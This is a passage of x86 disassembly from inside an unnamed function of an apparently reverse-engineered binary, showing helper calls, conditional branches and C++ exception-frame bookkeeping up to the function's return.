push dword [ebp - 0x1b0]
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x1e88]
call fcn.10047674
mov dword [ebp - 4], 0x44
push 0x10091060
lea ecx, [ebp - 0x1e88]
call fcn.1004722f
lea eax, [ebp - 0x1e48]
push eax
lea ecx, [ebp - 0x1e88]
call fcn.1002091a
push dword [eax]
lea eax, [ebp - 0x1b9c]
push eax
lea ecx, [ebp - 0x1e88]
call fcn.10020906
push dword [eax]
lea ecx, [ebp - 0x1f8c]
call fcn.1004769d
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x1f8c]
push eax
call fcn.100241e1
pop ecx
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0
je 0x10044ab2
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0x1ef4]
call fcn.10047200
mov byte [ebp - 4], 0x46
lea edx, [ebp - 0x13dc]
lea ecx, [ebp - 0x1ef4]
call fcn.10023a07
movzx eax, al
test eax, eax
je 0x10044a82
push 0
push dword [ebp - 0x13dc]
push 0
push dword [ebp - 0x75c]
call fcn.10035a0a
add esp, 0x10
mov dword [ebp - 0x11c], eax
jmp 0x10044aa1
push 1
push 0
lea eax, [ebp - 0x1ef4]
push eax
push dword [ebp - 0x75c]
call fcn.10035a0a
add esp, 0x10
mov dword [ebp - 0x11c], eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x1ef4]
call fcn.1001fe9b
jmp 0x10044ae8
cmp dword [ebp + 0x10], 0
jne 0x10044ac8
mov ecx, dword [ebp + 0xc]
call fcn.1001fbf4
mov dword [ebp - 0x87c], eax
jmp 0x10044ad2
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x87c], eax
push dword [ebp - 0x87c]
push dword [ebp + 8]
call fcn.1002f08c
pop ecx
pop ecx
mov dword [ebp - 0x11c], eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1f8c]
call fcn.1001fdc1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e88]
call fcn.1001fe9b
mov eax, dword [ebp - 0x11c]
jmp 0x10044b10
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret